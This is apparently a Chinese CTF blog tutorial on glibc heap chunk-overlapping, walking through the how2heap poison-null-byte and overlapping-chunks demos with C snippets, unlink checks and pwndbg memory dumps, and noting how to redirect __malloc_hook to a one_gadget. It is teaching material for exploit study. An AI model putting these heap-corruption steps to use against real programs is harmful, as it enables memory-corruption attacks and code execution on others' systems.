Chunk overlapping利用总结

关于chunk overlapping的利用总结

pwn的题目里一般遇到off by null或off by one的漏洞,常利用此漏洞进行chunk overlapping,因此想写一篇对chunk overlapping的总结,顺便巩固一下。

概述

在ptmalloc中,使用prev_size来获取前一个chunk的大小,再通过当前chunk的起始地址减去prev_size来求得前一个chunk的地址。在free当前chunk时,通过prev_inuse位获取相邻chunk的使用状态,若相邻chunk是一个freed chunk,就会触发unlink进行chunk的前向或后向合并。通常进行chunk overlapping时,只溢出next chunk的prev_inuse位,然后进行chunk的合并是不成功的,因为unlink中会进行size的检查,如果prev_size域是前一个chunk的数据时,那么P的size与prev_size(next chunk)就不相等,无法通过unlink的检查。

1
2
3
4
5
6
7
8
9
10
11
12
#unlink
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

因此在chunk overlapping时,会构造fake chunk,使其满足unlink的要求,即

1
chunksize(P) == prev_size (next_chunk(P)), 0)

下面以how2heap的例子进行说明,这里会将poison null byte和chunk overlapping一起来总结。

how2heap

posion null byte

题目概述

题目源码

编译运行情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ gcc poison_null_byte.c -o poison_null_byte
$ ./poison_null_byte
Welcome to poison null byte 2.0!
Tested in Ubuntu 14.04 64bit.
This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x100 bytes for 'a'.
a: 0x1ec6010
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
b: 0x1ec6120
c: 0x1ec6330
We allocate a barrier at 0x1ec6440, so that c is not consolidated with the top-chunk when freed.
The barrier is not strictly necessary, but makes things less confusing
In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))'
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x200
c.prev_size is 0x210
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
b1: 0x1ec6120
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0
We malloc 'b2', our 'victim' chunk.
b2: 0x1ec6230
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x1ec6120
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

利用分析

这个例子适用于小于2.26的libc版本,即没有tcache的版本。首先分配a b c 三个chunk,a中要存在off by null,b和c后面要进行合并,因此不能大小是fastbin。barrier是为了隔离top chunk,防止free(c)时与top chunk合并。

1
2
3
4
a = (uint8_t*) malloc(0x100); //0x110
b = (uint8_t*) malloc(0x200); //0x210
c = (uint8_t*) malloc(0x100); //0x110
barrier = malloc(0x100);

现在chunk a、b、c的分布情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x /8gx 0x603000  #chunk a
0x603000: 0x0000000000000000 0x0000000000000111
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603110 #chunk b
0x603110: 0x0000000000000000 0x0000000000000211
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603320 #chunk c
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000

构造chunk c的prev_size为0x200:

1
2
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
*(size_t*)(b+0x1f0) = 0x200;

chunk c 的分布:

1
2
3
4
5
pwndbg> x /8gx 0x603310
0x603310: 0x0000000000000200 0x0000000000000000 #fake prev_size
0x603320: 0x0000000000000000 0x0000000000000111 #chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000

现在释放b,b进入unsorted bin中:

1
free(b);

由于chunk b释放,chunk c的prev_size现在为0x210:

1
2
3
4
5
pwndbg> x /8gx 0x603310
0x603310: 0x0000000000000200 0x0000000000000000 #fake prev_size
0x603320: 0x0000000000000210 0x0000000000000110 #chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000

利用chunk a的off by null溢出一字节,修改chunk b的size为0x200:

1
a[real_a_size] = 0;

chunk b的size被修改:

1
2
3
4
5
pwndbg> x /8gx 0x603110  #chunk b
0x603110: 0x0000000000000000 0x0000000000000200 #off by null
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000

再次malloc(0x100),会触发unlink,从而进行上述检查,而且检查通过:

1
2
3
4
5
6
7
b1 = malloc(0x100); //0x110
//unlink check: chunksize(P) ?= prev_size (next_chunk(P), 0)
//b = 0x603120
//chunksize(P) = *(b-0x10+0x8) = 0x200
//nextchunk(P) = b-0x10+0x200 = b+0x1f0 = 0x603310
//prev_size(nextchunk(P)) = *(b+0x1f0) = 0x200
//chunksize(P) == prev_size (next_chunk(P)), 0)

再申请b2,堆的分布如下所示,

1
b2 = malloc(0x80); //0x90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x /8gx 0x603110  #chunk b1
0x603110: 0x0000000000000000 0x0000000000000111
0x603120: 0x00007ffff7dd1d68 0x00007ffff7dd1d68
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603220 #chunk b2
0x603220: 0x0000000000000000 0x0000000000000091
0x603230: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x6032b0 #freed chunk
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603310
0x603310: 0x0000000000000060 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 #chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000

首先释放chunk b1,伪造fake chunk b是一个freed chunk,b1进入unsorted bin中:

1
free(b1);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x /8gx 0x603110  #freed chunk b1
0x603110: 0x0000000000000000 0x0000000000000111
0x603120: 0x00000000006032b0 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603220 #chunk b2
0x603220: 0x0000000000000110 0x0000000000000090
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
pwndbg> x /8gx 0x6032b0 #freed chunk
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x0000000000603110
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603310
0x603310: 0x0000000000000060 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 #chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000

此时释放chunk c,用过chunk c的prev_size得到chunk c的前一个chunk也就是fake chunk b的大小为0x210,而且正好是freed chunk,则会触发unlink的前向合并,此时unlink的检查也是可以通过的:

1
2
3
4
5
6
7
free(c);
//unlink check: chunksize(P) ?= prev_size (next_chunk(P)), 0)
//b = 0x603120
//chunksize(P) = *(b-0x10+0x8) = 0x110
//nextchunk(P) = b-0x10+0x110 = b+0x100 = 0x603220
//prev_size(nextchunk(P)) = *(b+0x100) = 0x110
//chunksize(P) == prev_size (next_chunk(P)), 0)

合并后,fake chunk b和chunk c的大小变为fake chunk b的0x210+chunk c的0x110 = 0x320,此时的chunk b虽然处于分配的状态,但因为fake chunk b和chunk c的合并已经被视为freed的状态,此时如果再次申请分配chunk b2的区域,然后释放,编辑chunk b2可以修改freed chunk的fd或bk,将__malloc_hook修改为one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x /8gx 0x603110  #freed chunk b
0x603110: 0x0000000000000000 0x0000000000000321
0x603120: 0x00000000006032b0 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603220 #freed chunk(chunk b2)
0x603220: 0x0000000000000110 0x0000000000000090
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
pwndbg> x /8gx 0x6032b0 #freed chunk
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x0000000000603110
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603310
0x603310: 0x0000000000000060 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 #freed chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000

再次申请0x300的堆块,chunk b2被覆盖,达到chunk overlapping的效果。

1
d = malloc(0x300);
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x603110  #chunk d
0x603110: 0x0000000000000000 0x0000000000000321
0x603120: 0x00007ffff7dd1e88 0x00007ffff7dd1e88
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603220 #chunk b2
0x603220: 0x0000000000000110 0x0000000000000090
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242

在libc 2.26及更高版本中,注意填充对应大小的tcache链,使释放的chunk都进入unsorted bin中能够合并。

overlapping_chunks

题目概述

题目源码

编译及运行情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ gcc ./overlapping_chunks.c -o overlapping_chunks
$ ./overlapping_chunks

This is a simple chunks overlapping problem

Let's start to allocate 3 chunks on the heap
The 3 chunks have been allocated here:
p1=0x1ade010
p2=0x1ade110
p3=0x1ade210

Now let's free the chunk p2
The chunk p2 is now in the unsorted bin ready to serve possible
new malloc() of its size
Now let's simulate an overflow that can overwrite the size of the
chunk freed p2.
For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap.
To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk.
We are going to set the size of chunk p2 to to 385, which gives us
a region size of 376

Now let's allocate another chunk with a size equal to the data
size of the chunk p2 injected size
This malloc will be served from the previously freed chunk that
is parked in the unsorted bin which size has been modified by us

p4 has been allocated at 0x1ade110 and ends at 0x1ade288
p3 starts at 0x1ade210 and ends at 0x1ade288
p4 should overlap with p3, in this case p4 includes all p3.

Now everything copied inside chunk p4 can overwrites data on
chunk p3, and data written to chunk p3 can overwrite data
stored in the p4 chunk.

Let's run through an example. Right now, we have:
p4 = xk�F'
p3 = 33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333

If we memset(p4, '4', 376), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
p3 = 44444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444

And if we then memset(p3, '3', 80), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444433333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444
p3 = 33333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444

利用分析

首先申请3个chunk,p1、p2和p3。

1
2
3
p1 = malloc(0x100 - 8); //0x100
p2 = malloc(0x100 - 8); //0x100
p3 = malloc(0x80 - 8); //0x80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x /8gx 0x603000  #chunk p1
0x603000: 0x0000000000000000 0x0000000000000101
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603100 #chunk p2
0x603100: 0x0000000000000000 0x0000000000000101
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603200 #chunk p3
0x603200: 0x0000000000000000 0x0000000000000081
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000

释放掉p2,p2进入unsorted bin中。

1
free(p2);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x /8gx 0x603000  #chunk p1
0x603000: 0x0000000000000000 0x0000000000000101
0x603010: 0x3131313131313131 0x3131313131313131
0x603020: 0x3131313131313131 0x3131313131313131
0x603030: 0x3131313131313131 0x3131313131313131
pwndbg> x /8gx 0x603100 #freed chunk p2
0x603100: 0x3131313131313131 0x0000000000000101
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603120: 0x3232323232323232 0x3232323232323232
0x603130: 0x3232323232323232 0x3232323232323232
pwndbg> x /8gx 0x603200 #chunk p3
0x603200: 0x0000000000000100 0x0000000000000080
0x603210: 0x3333333333333333 0x3333333333333333
0x603220: 0x3333333333333333 0x3333333333333333
0x603230: 0x3333333333333333 0x3333333333333333

假设存在一个漏洞,可以溢出修改nextchunk的size域。修改chunk p2的size域,由0x101改为0x181,大小改为chunk p2和chunk p3的大小之和。

1
2
int evil_chunk_size = 0x181;
*(p2-1) = evil_chunk_size;
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x603100  #freed chunk p2
0x603100: 0x3131313131313131 0x0000000000000181 #fake size
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603120: 0x3232323232323232 0x3232323232323232
0x603130: 0x3232323232323232 0x3232323232323232
pwndbg> x /8gx 0x603200 #chunk p3
0x603200: 0x0000000000000100 0x0000000000000080
0x603210: 0x3333333333333333 0x3333333333333333
0x603220: 0x3333333333333333 0x3333333333333333
0x603230: 0x3333333333333333 0x3333333333333333

再次申请chunk p4,p4的大小为0x180,chunk p4的堆块区域包含了chunk p3,那么chunk p4可以覆写chunk p3的数据,chunk p3也可以修改对应范围内chunk p4的数据。后面就是修改数据的例子,相对比较简单,这里不再赘述。

1
2
int evil_region_size = 0x180 - 8;
p4 = malloc(evil_region_size); //0x180
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x603100  #chunk p4
0x603100: 0x3131313131313131 0x0000000000000181
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603120: 0x3232323232323232 0x3232323232323232
0x603130: 0x3232323232323232 0x3232323232323232
pwndbg> x /8gx 0x603200 #chunk p3
0x603200: 0x0000000000000100 0x0000000000000080
0x603210: 0x3333333333333333 0x3333333333333333
0x603220: 0x3333333333333333 0x3333333333333333
0x603230: 0x3333333333333333 0x3333333333333333

overlapping_chunk_2

题目概述

题目源码

题目编译及运行情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ gcc overlapping_chunks_2.c -o overlapping_chunks_2
$ ./overlapping_chunks_2

This is a simple chunks overlapping problem
This is also referenced as Nonadjacent Free Chunk Consolidation Attack

Let's start to allocate 5 chunks on the heap:

chunk p1 from 0xa70010 to 0xa703f8
chunk p2 from 0xa70400 to 0xa707e8
chunk p3 from 0xa707f0 to 0xa70bd8
chunk p4 from 0xa70be0 to 0xa70fc8
chunk p5 from 0xa70fd0 to 0xa713b8

Let's free the chunk p4.
In this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4

Let's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2
with the size of chunk_p2 + size of chunk_p3

Now during the free() operation on p2, the allocator is fooled to think that
the nextchunk is p4 ( since p2 + size_p2 now point to p4 )

This operation will basically create a big free chunk that wrongly includes p3

Now let's allocate a new chunk with a size that can be satisfied by the previously freed chunk

Our malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and
we can overwrite data in p3 by writing on chunk p6

chunk p6 from 0xa70400 to 0xa70bd8
chunk p3 from 0xa707f0 to 0xa70bd8

Data inside chunk p3:

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

Let's write something inside p6

Data inside chunk p3:

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

利用分析

首先分配5个chunk,p1、p2、p3、p4和p5,chunk p5是为了隔离top chunk。

1
2
3
4
5
p1 = malloc(1000);  //0x3f0
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x /8gx 0x603000  #chunk p1
0x603000: 0x0000000000000000 0x00000000000003f1
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x6033f0 #chunk p2
0x6033f0: 0x0000000000000000 0x00000000000003f1
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x6037e0 #chunk p3
0x6037e0: 0x0000000000000000 0x00000000000003f1
0x6037f0: 0x0000000000000000 0x0000000000000000
0x603800: 0x0000000000000000 0x0000000000000000
0x603810: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603bd0 #chunk p4
0x603bd0: 0x0000000000000000 0x00000000000003f1
0x603be0: 0x0000000000000000 0x0000000000000000
0x603bf0: 0x0000000000000000 0x0000000000000000
0x603c00: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603fc0 #chunk p5
0x603fc0: 0x0000000000000000 0x00000000000003f1
0x603fd0: 0x0000000000000000 0x0000000000000000
0x603fe0: 0x0000000000000000 0x0000000000000000
0x603ff0: 0x0000000000000000 0x0000000000000000

释放chunk p4,p4进入unsorted bin中。

1
free(p4);
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x603bd0  #freed chunk p4
0x603bd0: 0x4343434343434343 0x00000000000003f1
0x603be0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603bf0: 0x4444444444444444 0x4444444444444444
0x603c00: 0x4444444444444444 0x4444444444444444
pwndbg> x /8gx 0x603fc0 #chunk p5
0x603fc0: 0x00000000000003f0 0x00000000000003f0
0x603fd0: 0x4545454545454545 0x4545454545454545
0x603fe0: 0x4545454545454545 0x4545454545454545
0x603ff0: 0x4545454545454545 0x4545454545454545

假设存在一个漏洞,可以溢出修改nextchunk的size域,修改chunk p2的size域为chunk p2和chunk p3的大小之和。

1
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
1
2
3
4
5
pwndbg> x /8gx 0x6033f0  #chunk p2
0x6033f0: 0x4141414141414141 0x00000000000007e1
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242

释放p2,此时ptmalloc根据chunk p2的size计算得到chunk p2的nextchunk是chunk p4,会触发unlink进行后向合并,合并后的大小为0x7e0+0x3f0=0xbd0,合并后进入unsorted bin,这时虽然chunk p3处于分配状态,但对应区域也被认为是freed chunk,一起进入unsorted bin中。

1
free(p2);
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x6033f0  #freed chunk
0x6033f0: 0x4141414141414141 0x0000000000000bd1
0x603400: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x4242424242424242 0x4242424242424242
pwndbg> x /8gx 0x603fc0 #chunk p5
0x603fc0: 0x0000000000000bd0 0x00000000000003f0
0x603fd0: 0x4545454545454545 0x4545454545454545
0x603fe0: 0x4545454545454545 0x4545454545454545
0x603ff0: 0x4545454545454545 0x4545454545454545

此时,如果申请一个chunk p6,大小恰好为chunk p2+chunk p3的大小,此时chunk p6与chunk p3形成chunk overlapping。

1
p6 = malloc(2000); //0x7d0
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x6033f0  #chunk p6
0x6033f0: 0x4141414141414141 0x00000000000007e1
0x603400: 0x00007ffff7dd2158 0x00007ffff7dd2158
0x603410: 0x00000000006033f0 0x00000000006033f0
0x603420: 0x4242424242424242 0x4242424242424242
pwndbg> x /8gx 0x6037e0 #chunk p3
0x6037e0: 0x4242424242424242 0x00000000000003f1
0x6037f0: 0x4343434343434343 0x4343434343434343
0x603800: 0x4343434343434343 0x4343434343434343
0x603810: 0x4343434343434343 0x4343434343434343

参考

http://tacxingxing.com/2018/01/24/poison-null-byte/

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping/

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.7_heap_exploit_2.html